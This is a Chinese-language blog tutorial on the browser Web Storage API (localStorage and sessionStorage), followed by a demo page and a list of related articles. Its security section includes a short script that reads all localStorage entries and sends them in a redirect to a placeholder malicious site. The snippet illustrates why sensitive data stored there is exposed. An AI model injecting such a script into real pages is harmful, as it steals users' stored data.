概述

前篇：web API简介(二)：客户端储存之document.cookie API

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。

Web Storage API就是现代HTML5客户端储存的方法之一。

Web Storage介绍

web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。

Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。

webStorage只能操作字符串对象，所有的存储值都会为字符串数据。

语法

Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。

sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)

localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)

属性和方法：

(1)Storage.length：长度你懂的。

(2)Storage.key()：以n为参数，返回第n个key。

(3)Storage.getItem()：查操作。

(4)Storage.setItem()：增和改操作。

(5)Storage.removeItem()：删操作。

(5)Storage.clear()：删除所有。

安全性

Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。

下面的代码可以获取使用localStorage存储在本地的所有信息。

    var i = 0;

    var str = "";

    while (localStorage.key(i) != null)

    {

        var key = localStorage.key(i);

        str += key + ": " + localStorage.getItem(key);

        i++;

    }

    document.location="http://your-malicious-site.com?stolen="+ str;

兼容性

兼容五大浏览器，不兼容IE<8(兼容IE8)。

实例

在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Document</title>

</head>

<body>

    <div id="user_text"></div>

    <input type="text" id="user_input">

    <button onclick="userDo()">输入</button>

    <button onclick="reset()">重置</button>

</body>

    <script type="text/javascript">

        //兼容性

        function storageAvailable(type) {

            try {

                var storage = window[type],

                    x = '__storage_test__';

                storage.setItem(x, x);

                storage.removeItem(x);

                return true;

            }

            catch(e) {

                return e instanceof DOMException && (

                    // everything except Firefox

                    e.code === 22 ||

                    // Firefox

                    e.code === 1014 ||

                    // test name field too, because code might not be present

                    // everything except Firefox

                    e.name === 'QuotaExceededError' ||

                    // Firefox

                    e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&

                    // acknowledge QuotaExceededError only if there's something already stored

                    storage.length !== 0;

            }

        };

        //初始化

        function setText () {

            if (!localStorage.getItem('usertext')) {

                userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

            }

            else {

                userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

            }

        }

        var userText = document.getElementById("user_text");

        var userInput = document.getElementById("user_input");

        if (storageAvailable('localStorage')) {

          setText ();

        }

        else {

          userText.innerText = "你的浏览器不支持web storage!";

        };

        function userDo () {

            localStorage.setItem('usertext', userInput.value);

            setText ();

        };

        function reset () {

            localStorage.removeItem('usertext');

            setText ();

        };

    </script>

</html>

Document

输入
重置

<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};

    //初始化

    function setText () {

        if (!localStorage.getItem('usertext')) {

            userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

        }

        else {

            userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

        }

    }

    var userText = document.getElementById("user_text");

    var userInput = document.getElementById("user_input");

    if (storageAvailable('localStorage')) {

      setText ();

    }

    else {

      userText.innerText = "你的浏览器不支持web storage!";

    };

    function userDo () {

        localStorage.setItem('usertext', userInput.value);

        setText ();

    };

    function reset () {

        localStorage.removeItem('usertext');

        setText ();

    };

&lt;/script>

web API简介(三)：客户端储存之Web Storage API的更多相关文章

  1. web API简介(二)：客户端储存之document.cookie API

    概述 前篇:web API简介(一):API,Ajax和Fetch 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据.document.cook ...

  2. Web API（三）：创建Web API项目

    在本篇文章中将讲解如何使用Visual Studio创建一个新的ASP.NET Web API项目. 在Visual Studio中有两种方式用于创建Web API项目: 1.创建带MVC的Web A ...

  3. web API简介(四)：客户端储存之IndexedDB API

    概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...

  4. Web服务器学习总结（一）：web服务器简介

    一.WEB服务器 1.1.WEB服务器简介 1.Web服务器是指驻留于因特网上某种类型计算机的程序,是可以向发出请求的浏览器提供文档的程序.当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处 ...

  5. J2EE基础之Web服务简介

    J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...

  6. Web Api 简介

    ASP.NET Web API 简介  ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...

  7. Redis总结（五）缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结（一）AutoResetEvent的使用介绍（用AutoResetEvent实现同步） C#总结（二）事件Event 介绍总结 C#总结（三）DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列（六）: RabbitMQ 高可用集群

    Redis总结(五)缓存雪崩和缓存穿透等问题   前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...

  8. [转]ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. K8s部署使用CFSSL创建证书

    证书的编码格式 PEM(Privacy Enhanced Mail),通常用于数字证书认证机构(Certificate Authorities,CA),扩展名为.pem, .crt, .cer, 和  ...

  2. 简单定时器的Java实现

    这两个类使用起来非常方便,可以完成我们对定时器的绝大多数需求 Timer类是用来执行任务的类,它接受一个TimerTask做参数 Timer有两种执行任务的模式,最常用的是schedule,它可以以两 ...

  3. Linux简单学习

    参考自:http://www.runoob.com/linux/linux-tutorial.html  一.是什么 Linux 类Unix操作系统.是一个基于POSIX和UNIX的多用户.多任务.支 ...

  4. Windows下用VS2015+MSYS编译OpenH264

    因为项目用到了OpenH264,编译的过程不想做过多研究,搜了下,有网页可以参考,遂记录下来,并在后面做一些补充. 原帖地址:http://blog.csdn.net/dbyoung/article/ ...

  5. (转)2018CRM系统最新排行榜

    https://www.jianshu.com/p/718cc29de91f 2018CRM系统最新排行榜 深谷幽兰呼 关注 2018.09.04 10:22 字数 1524 阅读 3182评论 0喜 ...

  6. 修改tomcat的编码方式，可以解决某些get请求乱码问题

    在tomcat/conf/server.xml配置文件添加如下,修改tomcat的编码方式 <Connector URIEncoding="utf-8" connection ...

  7. Could not find a package configuration file provided by "Sophus",SophusConfig.cmake

    CMake Error at CMakeLists.txt:5 (find_package): By not providing "FindSophus.cmake" in CMA ...

  8. 【ESP8266】、ESP8266通讯使用的AT指令

    一.AT指令介绍 AT(Attention), AT指令一般应用于终端设备和PC应用之间建立连接.通过AT指令来控制. 二.常用AT指令 AT指令主要分为: 基础AT指令,WIFI功能AT指令,TCP ...

  9. linux安装rabbitmq3.6.5

    一.准备依赖包 yum install build-essential openssl openssl-devel unixODBC unixODBC-devel make gcc gcc-c++ k ...

  10. 关于深度学习中的batch_size

    5.4.1 关于深度学习中的batch_size 举个例子: 例如,假设您有1050个训练样本,并且您希望设置batch_size等于100.该算法从训练数据集中获取前100个样本(从第1到第100个 ...